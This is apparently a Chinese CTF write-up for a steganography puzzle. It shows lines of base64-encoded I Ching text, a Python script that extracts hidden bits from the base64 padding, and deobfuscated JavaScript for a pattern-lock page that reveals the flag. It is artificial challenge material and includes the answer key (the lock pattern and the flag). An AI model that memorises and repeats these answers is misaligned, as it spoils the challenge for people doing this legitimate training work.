54i76LGh5YuV5LmO5YWn77yM5ZCJ5Ye26KaL5LmO5aSW77yM5Yqf5qWt6KaL5LmO6K6K77yM6IGW5Lq65LmL5oOF6KaL5LmO6L6tLh==
5aSp5Zyw5LmL5aSn5b635puw55Sf77yM6IGW5Lq65LmL5aSn5a+25puw5L2N44CC5L2V5Lul5a6I5L2N5puw5LuB77yM5L2V5Lul6IGa5Lq65puw6LKh44CC55CG6LKh5q2j6L6t77yM56aB5rCR54K66Z2e5puw576pLl==
5Y+k6ICF5YyF54qn5rCP5LmL546L5aSp5LiL5Lmf77yM5Luw5YmH6KeA6LGh5pa85aSp77yM5L+v5YmH6KeA5rOV5pa85Zyw77yM6KeA6bOl54245LmL5paH77yM6IiH5Zyw5LmL5a6c77yM6L+R5Y+W6Ku46Lqr77yM6YGh5Y+W6Ku454mp77yM5pa85piv5aeL5L2c5YWr5Y2m77yM5Lul6YCa56We5piO5LmL5b6377yM5Lul6aGe6JCs54mp5LmL5oOFLh==
5L2c57WQ57mp6ICM54K6572U572f77yM5Lul5L2D5Lul5ryB77yM6JOL5Y+W6Ku46ZuiLm==
5YyF54qn5rCP5rKS77yM56We6L6y5rCP5L2c77yM5pay5pyo54K66ICc77yM5o+J5pyo54K66ICS77yM6ICS6ICo5LmL5Yip77yM5Lul5pWZ5aSp5LiL77yM6JOL5Y+W6Ku455uKLp==
5pel5Lit54K65biC77yM6Ie05aSp5LiL5LmL5rCR77yM6IGa5aSp5LiL5LmL6LKo77yM5Lqk5piT6ICM6YCA77yM5ZCE5b6X5YW25omA77yM6JOL5Y+W6Ku45Zms5ZeRLm==
56We6L6y5rCP5rKS77yM6buD5bid44CB5aCv44CB6Iic5rCP5L2c77yM6YCa5YW26K6K77yM5L2/5rCR5LiN5YCm77yM56We6ICM5YyW5LmL77yM5L2/5rCR5a6c5LmL44CC5piT56qu5YmH6K6K77yM6K6K5YmH6YCa77yM6YCa5YmH5LmF44CC5piv5Lul6Ieq5aSp56WQ5LmL77yM5ZCJ5peu5LiN5Yip77yM6buD5bid44CB5aCv44CB6Iic5Z6C6KGj6KOz6ICM5aSp5LiL5rK777yM6JOL5Y+W6Ku45Lm+5Z2kLu==
5Yiz5pyo54K66Iif77yM5Ymh5pyo54K65qWr77yM6Iif5qWr5LmL5Yip77yM5Lul5r+f5LiN6YCa77yM6Ie06YGm5Lul5Yip5aSp5LiL77yM6JOL5Y+W6Ku45riZLm==
5pyN54mb5LmY6aas77yM5byV6YeN6Ie06YGp77yM5Lul5Yip5aSp5LiL77yM6JOL5Y+W6Ku46ZqoLp==
6YeN6ZaA5pOK5p+d77yM5Lul5b6F5pq05a6i77yM6JOL5Y+W6Ku46LGrLi==
5pa35pyo54K65p2177yM5o6Y5Zyw54K66Ie877yM6Ie85p215LmL5Yip77yM6JCs5rCR5Lul5r+f77yM6JOL5Y+W6Ku45bCP6YGOLu==
5bym5pyo54K65byn77yM5Ymh5pyo54K655+i77yM5byn55+i5LmL5Yip77yM5Lul5aiB5aSp5LiL77yM6JOL5Y+W6Ku45529Ll==
5LiK5Y+k56m05bGF6ICM6YeO6JmV77yM5b6M5LiW6IGW5Lq65piT5LmL5Lul5a6u5a6k77yM5LiK5qOf5LiL5a6H77yM5Lul5b6F6aKo6Zuo77yM6JOL5Y+W6Ku45aSn5aOvLj==
5Y+k5LmL6JGs6ICF77yM5Y6a6KGj5LmL5Lul6Jaq77yM6JGs5LmL5Lit6YeO77yM5LiN5bCB5LiN5qi577yM5Zaq5pyf5pen5pW444CC5b6M5LiW6IGW5Lq65piT5LmL5Lul5qO65qeo77yM6JOL5Y+W6Ku45aSn6YGOLn==
5LiK5Y+k57WQ57mp6ICM5rK777yM5b6M5LiW6IGW5Lq65piT5LmL5Lul5pu45aWR77yM55m+5a6Y5Lul5rK777yM6JCs5rCR5Lul5a+f77yM6JOL5Y+W6Ku45aSsLg==
5piv5pWF77yM5piT6ICF77yM6LGh5Lmf77yM6LGh5Lmf6ICF5YOP5Lmf44CC5b2W6ICF77yM5p2Q5Lmf77yM54i75Lmf6ICF77yM5pWI5aSp5LiL5LmL5YuV6ICF5Lmf44CC5piv5pWF77yM5ZCJ5Ye255Sf77yM6ICM5oKU5ZCd6JGX5LmfLk==
6Zm95Y2m5aSa6Zmw77yM6Zmw5Y2m5aSa6Zm977yM5YW25pWF5L2V5Lmf77yf6Zm95Y2m5aWH77yM6Zmw5Y2m5YG244CC5YW25b636KGM5L2V5Lmf77yf6Zm95LiA5ZCb6ICM5LqM5rCR77yM5ZCb5a2Q5LmL6YGT5Lmf44CC6Zmw5LqM5ZCb6ICM5LiA5rCR77yM5bCP5Lq65LmL6YGT5LmfLh==
5piT5puw77ya44CM5oan5oan5b6A5L6G77yM5pyL5b6e54i+5oCd44CC44CN5a2Q5puw77ya44CM5aSp5LiL5L2V5oCd5L2V5oWu77yf5aSp5LiL5ZCM5q246ICM5q6K5aGX77yM5LiA6Ie06ICM55m+5oWu77yM5aSp5LiL5L2V5oCd5L2V5oWu77yf44CN
44CM5pel5b6A5YmH5pyI5L6G77yM5pyI5b6A5YmH5pel5L6G77yM5pel5pyI55u45o6o6ICM5piO55Sf54SJ44CC5a+S5b6A5YmH5pqR5L6G77yM5pqR5b6A5YmH5a+S5L6G77yM5a+S5pqR55u45o6o6ICM5q2y5oiQ54SJ44CC5b6A6ICF5bGI5Lmf77yM5L6G6ICF5L+h5Lmf77yM5bGI5L+h55u45oSf6ICM5Yip55Sf54SJ44CC44CN
44CM5bC66KCW5LmL5bGI77yM5Lul5rGC5L+h5Lmf44CC6b6N6JuH5LmL6J+E77yM5Lul5a2Y6Lqr5Lmf44CC57K+576p5YWl56We77yM5Lul6Ie055So5Lmf44CC5Yip55So5a6J6Lqr77yM5Lul5bSH5b635Lmf44CC6YGO5q2k5Lul5b6A77yM5pyq5LmL5oiW55+l5Lmf44CC56qu56We55+l5YyW77yM5b635LmL55ub5Lmf44CC44CN
5piT5puw77ya44CM5Zuw5LqO55+z77yM5pOa5LqO6JK66JS+77yM5YWl5LqO5YW25a6u77yM5LiN6KaL5YW25aa777yM5Ye244CC44CN5a2Q5puw77ya44CM6Z2e5omA5Zuw6ICM5Zuw54SJ77yM5ZCN5b+F6L6x44CC6Z2e5omA5pOa6ICM5pOa54SJ77yM6Lqr5b+F5Y2x44CC5pei6L6x5LiU5Y2x77yM5q275pyf5bCH6Iez77yM5aa75YW25Y+v5b6X6KaL6IC277yf44CN
5piT5puw77ya44CM5YWs55So5bCE6Zq877yM5LqO6auY5aKJ5LmL5LiK77yM542y5LmL5peg5LiN5Yip44CC44CN5a2Q5puw77ya44CM6Zq86ICF56a95Lmf77yM5byT55+i6ICF5Zmo5Lmf77yM5bCE5LmL6ICF5Lq65Lmf44CC5ZCb5a2Q6JeP5Zmo5pa86Lqr77yM5b6F5pmC6ICM5YuV77yM5L2V5LiN5Yip5LmL5pyJ77yf5YuV6ICM5LiN5ous77yM5piv5Lul5Ye66ICM5pyJ542y77yM6Kqe5oiQ5Zmo6ICM5YuV6ICF5Lmf44CC44CN
5a2Q5puw77ya44CM5bCP5Lq65LiN5oGl5LiN5LuB77yM5LiN55WP5LiN576p77yM5LiN6KaL5Yip5LiN5Yu477yM5LiN5aiB5LiN5oey77yM5bCP5oey6ICM5aSn6Kqh77yM5q2k5bCP5Lq65LmL56aP5Lmf44CC5piT5puw77ya44CO5bGl5qCh5ruF6La+5peg5ZKO77yM5q2k5LmL6KyC5Lmf44CP44CC44CN
44CM5ZaE5LiN56mN77yM5LiN6Laz5Lul5oiQ5ZCN77yb5oOh5LiN56mN77yM5LiN6Laz5Lul5ruF6Lqr44CC5bCP5Lq65Lul5bCP5ZaE54K65peg55uK77yM6ICM5byX54K65Lmf77yM5Lul5bCP5oOh54K65peg5YK377yM6ICM5byX5Y675Lmf77yM5pWF5oOh56mN6ICM5LiN5Y+v5o6p77yM572q5aSn6ICM5LiN5Y+v6Kej44CC5piT5puw77ya44CO5L2V5qCh5ruF6ICz5Ye244CP44CC44CN
5a2Q5puw77ya44CM5Y2x6ICF77yM5a6J5YW25L2N6ICF5Lmf77yb5Lqh6ICF77yM5L+d5YW25a2Y6ICF5Lmf77yb5LqC6ICF77yM5pyJ5YW25rK76ICF5Lmf44CC5piv5pWF77yM5ZCb5a2Q5a6J6ICM5LiN5b+Y5Y2x77yM5a2Y6ICM5LiN5b+Y5Lqh77yM5rK76ICM5LiN5b+Y5LqC77yb5piv5Lul6Lqr5a6J6ICM5ZyL5a625Y+v5L+d5Lmf44CC5piT5puw77ya44CO5YW25Lqh5YW25Lqh77yM57mr5LqO6Iue5qGR44CP44CC44CN
5a2Q5puw77ya44CM5b636JaE6ICM5L2N5bCK77yM55+l5bCP6ICM6KyA5aSn77yM5Yqb5bCP6ICM5Lu76YeN77yM6a6u5LiN5Y+K55+j77yM5piT5puw77ya44CO6byO5oqY6Laz77yM6KaG5YWs6aSX77yM5YW25b2i5ril77yM5Ye244CC44CP6KiA5LiN5Yud5YW25Lu75Lmf44CC44CN
5a2Q5puw77ya44CM55+l5bm+5YW256We5LmO77yf5ZCb5a2Q5LiK5Lqk5LiN6KuC77yM5LiL5Lqk5LiN54CG77yM5YW255+l5bm+5LmO77yM5bm+6ICF5YuV5LmL5b6u77yM5ZCJ5LmL5YWI6KaL6ICF5Lmf77yM5ZCb5a2Q6KaL5bm+6ICM5L2c77yM5LiN5L+f57WC5pel44CC5piT5puw77ya44CO5LuL5LqO55+z77yM5LiN57WC5pel77yM6LKe5ZCJ44CC44CP5LuL5aaC55+z54SJ77yM5a+n55So57WC5pel77yM5pa35Y+v6K2Y55+j77yM5ZCb5a2Q55+l5b6u55+l5b2w77yM55+l5p+U55+l5Ymb77yM6JCs5aSr5LmL5pyb44CC44CN
5a2Q5puw77ya44CM6aGP5rCP5LmL5a2Q77yM5YW25q6G5bq25bm+5LmO77yf5pyJ5LiN5ZaE5pyq5ZiX5LiN55+l77yM55+l5LmL5pyq5ZiX5b6p6KGM5Lmf44CC5piT5puw77ya44CO5LiN6YGg5b6p77yM5peg56WH5oKU77yM5YWD5ZCJ44CC44CP44CN
5aSp5Zyw57Wq57iV77yM6JCs54mp5YyW6YaH77yM55S35aWz5qeL57K+77yM6JCs54mp5YyW55Sf77yM5piT5puw77ya44CO5LiJ5Lq66KGM77yM5YmH5pCN5LiA5Lq677yb5LiA5Lq66KGM77yM5YmH5b6X5YW25Y+L44CC44CP6KiA6Ie05LiA5LmfLm==
5a2Q5puw77ya44CM5ZCb5a2Q5a6J5YW26Lqr6ICM5b6M5YuV77yM5piT5YW25b+D6ICM5b6M6Kqe77yM5a6a5YW25Lqk6ICM5b6M5rGC77yM5ZCb5a2Q6ISp5q2k5LiJ6ICF77yM5pWF5YWo5Lmf77yM5Y2x5Lul5YuV77yM5YmH5rCR5LiN6IiH5Lmf77yM5oe85Lul6Kqe77yM5YmH5rCR5LiN5oeJ5Lmf77yM5peg5Lqk6ICM5rGC77yM5YmH5rCR5LiN6IiH5Lmf77yM6I6r5LmL6IiH77yM5YmH5YK35LmL6ICF6Iez55+j44CC5piT5puw77ya44CO6I6r55uK5LmL77yM5oiW5pOK5LmL77yM56uL5b+D5Yu/5oGG77yM5Ye244CC44CP44CC44CN
5a2Q5puw77ya44CM5Lm+5Z2k5YW25piT5LmL6ZaA6YKq77yf5Lm+77yM6Zm954mp5Lmf77yb5Z2k77yM6Zmw54mp5Lmf77yb6Zmw6Zm95ZCI5b6377yM6ICM5Ymb5p+U5pyJ6auU77yM5Lul6auU5aSp5Zyw5LmL5pKw77yM5Lul6YCa56We5piO5LmL5b6377yM5YW256ix5ZCN5Lmf6Zuc6ICM5LiN6LaK77yM5pa856i95YW26aGe77yM5YW26KGw5LiW5LmL5oSP6YKq77yf44CN5aSr5piT77yM5b2w5b6A6ICM5a+f5L6G77yM6ICM5b6u6aGv6Zeh5bm977yM6ZaL6ICM55W25ZCN77yM6L6o54mp5q2j6KiA77yM5pa36L6t5YmH5YKZ55+j77yM5YW256ix5ZCN5Lmf5bCP77yM5YW25Y+W6aGe5Lmf5aSn77yM5YW25peo6YGj77yM5YW26L6t5paH77yM5YW26KiA5puy6ICM5Lit77yM5YW25LqL6IKG6ICM6Zqx77yM5Zuj6LKz5Lul5r+f5rCR6KGM77yM5Lul5piO5aSx5b6X5LmL5aCxLj==
5piT5LmL6IiI5Lmf77yM5YW25pa85Lit5Y+k5LmO77yM5L2c5piT6ICF77yM5YW25pyJ5oaC5oKj5LmOLk==
5piv5pWF77yM5bGl77yM5b635LmL5Z+65Lmf77yb6KyZ77yM5b635LmL5p+E5Lmf77yb5b6p77yM5b635LmL5pys5Lmf77yb5oGG77yM5b635LmL5Zu65Lmf77yb5pCN5b635LmL6ISp5Lmf77yb55uK77yM5b635LmL6KOV5Lmf77yb5Zuw77yM5b635LmL6L6o5Lmf77yb5LqV77yM5b635LmL5Zyw5Lmf77yb5be977yM5b635LmL5Yi25LmfLl==
5bGl77yM5ZKM6ICM6Iez77yb6KyZ77yM5bCK6ICM5YWJ77yb5b6p77yM5bCP6ICM6L6o5pa854mp77yb5oGG77yM6Zuc6ICM5LiN5Y6t77yb5pCN77yM5YWI6Zuj6ICM5b6M5piT77yb55uK77yM6ZW36KOV6ICM5LiN6Kit77yb5Zuw77yM56qu6ICM6YCa77yb5LqV77yM5bGF5YW25omA6ICM6YG377yM5be977yM56ix6ICM6ZqxLg==
5bGl5Lul5ZKM6KGM77yM6KyZ5Lul5Yi256au77yM5b6p5Lul6Ieq55+l77yM5oGG5Lul5LiA5b6377yM5pCN5Lul6YGg5a6z77yM55uK5Lul6IiI5Yip77yM5Zuw5Lul5a+h5oCo77yM5LqV5Lul6L6v576p77yM5be95Lul6KGM5qyKLg==
5piT5LmL54K65pu45Lmf5LiN5Y+v6YGg77yM54K66YGT5Lmf5bGi6YG377yM6K6K5YuV5LiN5bGF77yM5ZGo5rWB5YWt6Jmb77yM5LiK5LiL5peg5bi477yM5Ymb5p+U55u45piT77yM5LiN5Y+v54K65YW46KaB77yM5ZSv6K6K5omA6YGp77yM5YW25Ye65YWl5Lul5bqm77yM5aSW5YWn5L2/55+l5oe877yM5Y+I5piO5pa85oaC5oKj6IiH5pWF77yM5peg5pyJ5bir5L+d77yM5aaC6Ieo54i25q+N77yM5Yid546H5YW26L6t77yM6ICM5o+G5YW25pa577yM5pei5pyJ5YW45bi477yM6Iuf6Z2e5YW25Lq677yM6YGT5LiN6Jmb6KGMLg==
5piT5LmL54K65pu45Lmf77yM5Y6f5aeL6KaB57WC77yM5Lul54K66LOq5Lmf77yM5YWt54i755u46Zuc77yM5ZSv5YW25pmC54mp5Lmf77yM5YW25Yid6Zuj55+l77yM5YW25LiK5piT55+l77yM5pys5pyr5Lmf77yM5Yid6L6t5pOs5LmL77yM5Y2S5oiQ5LmL57WC77yM6Iul5aSr6Zuc54mp5pKw5b6377yM6L6o5piv6IiH6Z2e77yM5YmH6Z2e5YW25Lit54i75LiN5YKZLg==
5Zmr77yM5Lqm6KaB5a2Y5Lqh5ZCJ5Ye277yM5YmH5bGF5Y+v55+l55+j77yM55+l6ICF6KeA5YW25b2W6L6t77yM5YmH5oCd6YGO5Y2K55+jLg==
5LqM6IiH5Zub5ZCM5Yqf77yM6ICM55Ww5L2N77yM5YW25ZaE5LiN5ZCM77yM5LqM5aSa6K2977yM5Zub5aSa5oe877yM6L+R5Lmf77yM5p+U5LmL54K66YGT77yM5LiN5Yip6YGg6ICF77yM5YW26KaB5peg5ZKO77yM5YW255So5p+U5Lit5Lmf77yM5LiJ6IiH5LqU5ZCM5Yqf77yM6ICM55Ww5L2N77yM5LiJ5aSa5Ye277yM5LqU5aSa5Yqf77yM6LK06LOk5LmL562J5Lmf77yM5YW25p+U5Y2x77yM5YW25Ymb5Yud6YKq77yf
5piT5LmL54K65pu45Lmf77yM5buj5aSn5oKJ5YKZ77yM5pyJ5aSp6YGT54SJ77yM5pyJ5Lq66YGT54SJ77yM5pyJ5Zyw6YGT54SJ44CC5YW85LiJ5p2Q6ICM5YWp5LmL77yM5pWF5YWt5YWt6ICF77yM6Z2e5a6D5Lmf77yM5LiJ5p2Q5LmL6YGT5Lmf77yM6YGT5pyJ6K6K5YuV77yM5pWF5puw54i777yM54i75pyJ562J77yM5pWF5puw54mp77yM54mp55u46Zuc77yM5pWF5puw5paH77yM5paH5LiN55W277yM5pWF5ZCJ5Ye255Sf54SJLg==
5piT5LmL6IiI5Lmf77yM5YW255W25q635LmL5pyr5LiW77yM5ZGo5LmL55ub5b636YKq77yM55W25paH546L6IiH57SC5LmL5LqL6YKq77yM5piv5pWF5YW26L6t5Y2x77yM5Y2x6ICF5L2/5bmz77yM5piT6ICF5L2/5YK+77yM5YW26YGT55Sa5aSn77yM55m+54mp5LiN5bui77yM5oe85Lul57WC5aeL77yM5YW26KaB5peg5ZKO77yM5q2k5LmL6KyC5piT5LmL6YGT5LmfLg==
5aSr5Lm+77yM5aSp5LiL5LmL6Iez5YGl5Lmf77yM5b636KGM5oGG5piT5Lul55+l6Zqq77yM5aSr5Z2k77yM5aSp5LiL5LmL6Iez6aCG5Lmf77yM5b636KGM5oGG57Ch5Lul55+l6Zi7Lg==
6IO96Kqq6Ku45b+D77yM6IO956CU6Ku45L6v5LmL5oWu77yM5a6a5aSp5LiL5LmL5ZCJ5Ye277yM5oiQ5aSp5LiL5LmL5Lq55Lq56ICF77yM5piv5pWF77yM6K6K5YyW5LqR54K677yM5ZCJ5LqL5pyJ56Wl77yM6LGh5LqL55+l5Zmo77yM5Y2g5LqL55+l5L6G44CC5aSp5Zyw6Kit5L2N77yM6IGW5Lq65oiQ6IO944CC5Lq66KyA6ay86KyA77yM55m+5aeT6IiH6IO9Lg==
5YWr5Y2m5Lul6LGh5ZGK77yM54i75b2W5Lul5oOF6KiA77yM5Ymb5p+U6Zuc5bGF77yM6ICM5ZCJ5Ye25Y+v6KaL55+jLg==
6K6K5YuV5Lul5Yip6KiA77yM5ZCJ5Ye25Lul5oOF6YG344CC5piv5pWF5oSb5oOh55u45pS76ICM5ZCJ5Ye255Sf77yM6YGg6L+R55u45Y+W6ICM5oKU5ZCd55Sf77yM5oOF5YG955u45oSf6ICM5Yip5a6z55Sf44CC5Yeh5piT5LmL5oOF77yM6L+R6ICM5LiN55u45b6X5YmH5Ye277yM5oiW5a6z5LmL77yM5oKU5LiU5ZCdLg==
5bCH5Y+b6ICF5YW26L6t5oWa77yM5Lit5b+D55aR6ICF5YW26L6t5p6d77yM5ZCJ5Lq65LmL6L6t5a+h77yM6LqB5Lq65LmL6L6t5aSa77yM6Kqj5ZaE5LmL5Lq65YW26L6t5ri477yM5aSx5YW25a6I6ICF5YW26L6t5bGI44CC

看到这么多base64,有可能就是base64隐写,脚本一把梭:

import base64
def get_base64_diff_value(s1,s2):
    table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    res = 0
    for i in range(len(s1)):
        if s1[i] != s2[i]:
            return abs(table.index(s1[i]) - table.index(s2[i]))
    return res

def solve():
    lines = open('stego.txt','r').readlines()
    bin_str = ''

    for line in lines:
        steg_line = line.replace('\n','')
        # print(steg_line)
        norm_line = base64.b64encode(base64.b64decode(steg_line)).decode()
        # print(norm_line)
        diff = get_base64_diff_value(steg_line,norm_line)
        # print(diff)
        pad_num = steg_line.count('=')
        if diff:
            bin_str += bin(diff)[2:].zfill(pad_num*2)
        else:
            bin_str += '0' * pad_num * 2
    print(bin_str)
    res_str = ''
    for j in range(int(len(bin_str)/8)):
        # print(8*j,(j+1)*8)
        res_str+=chr(int(bin_str[8*j:(j+1)*8],2))
    print(res_str[-52:])
    print(base64.b64decode(res_str[-52:]))

solve()

得到hTtP://999.TaQini.SpAcE,上去后是

image-20200523205021488

这玩意,f12后发现有一个奇怪的表情js,网上在线解密aaencode得到

   /**
   * 半径,画布宽度,画布高度,画布x内边距,画布y内边距
   */
   var R = 26, canvasWidth = 400, canvasHeight = 320, OffsetX = 30, OffsetY = 30;
   var circleArr = [];
    function createCirclePoint(diffX, diffY) {
      for (var row = 0; row < 3; row++) {
        for (var col = 0; col < 3; col++) {
         // 计算圆心坐标
          var Point = {
            X: (OffsetX + col * diffX + ( col * 2 + 1) * R),
            Y: (OffsetY + row * diffY + (row * 2 + 1) * R)
          };
          circleArr.push(Point);
        }
      }
    }
    window.onload = function () {
      var canvas = document.getElementById("lockCanvas");
      canvasWidth = document.body.offsetWidth;//网页可见区域宽
      canvas.width = canvasWidth;
      canvas.height = canvasHeight;
      var ctx = canvas.getContext("2d");
      /**
       * 每行3个圆
       * OffsetX为canvas x方向内边距
       * */
      var X = (canvasWidth - 2 * OffsetX - R * 2 * 3) / 2;
      var Y = (canvasHeight - 2 * OffsetY - R * 2 * 3) / 2;
       
      createCirclePoint(X, Y);
      bindEvent(canvas, ctx);
      //CW=2*offsetX+R*2*3+2*X
      Draw(ctx, circleArr, [],null);
    }
    function Draw(ctx, circleArr, pwdArr,touchPoint) {
      var eight = ["巽","離","坤","震","☯","兌","艮","坎","乾"];
      if (pwdArr.length > 0) {
        ctx.beginPath();
        for (var i = 0; i < pwdArr.length; i++) {
          var pointIndex = pwdArr[i];
          ctx.lineTo(circleArr[pointIndex].X, circleArr[pointIndex].Y);
        }
        ctx.lineWidth = 10;
        ctx.strokeStyle = "#713fdf";
        ctx.stroke();
        ctx.closePath();
        if(touchPoint!=null){
          var lastPointIndex=pwdArr[pwdArr.length-1];
          var lastPoint=circleArr[lastPointIndex];
          ctx.beginPath();
          ctx.moveTo(lastPoint.X,lastPoint.Y);
          ctx.lineTo(touchPoint.X,touchPoint.Y);
          ctx.stroke();
          ctx.closePath();
        }
      }
      for (var i = 0; i < circleArr.length; i++) {
        var Point = circleArr[i];
        ctx.fillStyle = "#713fdf";
        ctx.beginPath();
        ctx.arc(Point.X, Point.Y, R, 0, Math.PI * 2, true);
        ctx.closePath();
        ctx.fill();
        ctx.fillStyle = "#ffffff";
        ctx.beginPath();
        ctx.arc(Point.X, Point.Y, R - 3, 0, Math.PI * 2, true);
        ctx.closePath();
        ctx.fill();
        // alert(Point.X+','+Point.Y)
        // var img = new Image();
        // img.src = "http://taqini.space/img/"+i+".png"; 
        // ctx.drawImage(img,Point.X-20,Point.Y-20,40,40);
  
        // if(pwdArr.indexOf(i)>=0){
        //   ctx.fillStyle = "#713fdf";
        //   ctx.beginPath();
        //   ctx.arc(Point.X, Point.Y, R -16, 0, Math.PI * 2, true);
        //   ctx.closePath();
        //   ctx.fill();
        // }
  
        ctx.font = '36px "微软雅黑"';
        ctx.textBaseline = "bottom";
        ctx.fillStyle = "#000000";
        ctx.fillText(eight[i],Point.X-18,Point.Y+20);

      }
    }
     
    /**
     * 计算选中的密码 
     */
    function getSelectPwd(touches,pwdArr){
      for (var i = 0; i < circleArr.length; i++) {
        var currentPoint = circleArr[i];
        var xdiff = Math.abs(currentPoint.X - touches.pageX);
        var ydiff = Math.abs(currentPoint.Y - touches.pageY);
        var dir = Math.pow((xdiff * xdiff + ydiff * ydiff), 0.5);
        if(dir > R || pwdArr.indexOf(i) >= 0)
         continue;
         pwdArr.push(i);
         break;
      }
    }
     
    /**
     * 给画布绑定事件
     */
    function bindEvent(canvas, ctx) {
      var pwdArr = [];
      var res;
      canvas.addEventListener("touchstart", function (e) {
        getSelectPwd(e.touches[0],pwdArr);
      }, false);
      canvas.addEventListener("touchmove", function (e) {
        e.preventDefault();
        var touches = e.touches[0];
        getSelectPwd(touches,pwdArr);
        ctx.clearRect(0,0,canvasWidth,canvasHeight);
        Draw(ctx,circleArr,pwdArr,{X:touches.pageX,Y:touches.pageY});
      }, false);
      canvas.addEventListener("touchend", function (e) {
        ctx.clearRect(0,0,canvasWidth,canvasHeight);
        Draw(ctx,circleArr,pwdArr,null);
        // alert("密码结果是:"+pwdArr.join(""));
        res = pwdArr.join("")
        if(res=="723048561"){
          alert("flag{c967db67a5e32fef9049499daadc19e8}");
        }else{
          location.reload();
        }
        res = ""
        pwdArr=[];
      }, false);
    };

得到flag

flag

flag{c967db67a5e32fef9049499daadc19e8}